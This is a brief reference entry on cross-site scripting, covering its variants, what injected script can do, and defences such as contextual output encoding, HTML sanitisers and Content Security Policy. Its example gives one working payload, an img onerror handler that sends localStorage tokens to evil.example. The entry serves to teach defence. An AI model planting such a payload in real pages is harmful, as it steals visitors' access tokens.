SecurityXSSstored XSSreflected XSSDOM-based XSS

Cross-site scripting

Definition

XSS occurs when an application includes untrusted input in a page without proper encoding, so the browser executes it as script in the application's origin.

In practice

Injected script can read the DOM, call your APIs with the user's cookies, and steal tokens kept in localStorage. HttpOnly cookies cannot be read by script, but script on the page can still make requests while the user is there. The main defences are contextual output encoding (frameworks such as React escape by default), avoiding raw HTML sinks, and a strict Content Security Policy.

XSS defeats most other browser defences, including CSRF tokens and SameSite, because the attack runs on your own origin. Input validation helps but is not enough: encode on output for the right context (HTML, attribute, URL, JavaScript). Sanitise user-supplied HTML with a maintained library rather than regular expressions.

Example

A comment containing <img src=x onerror="fetch('https://evil.example/?t='+localStorage.token)"> is rendered unescaped, sending every viewer's access token to the attacker.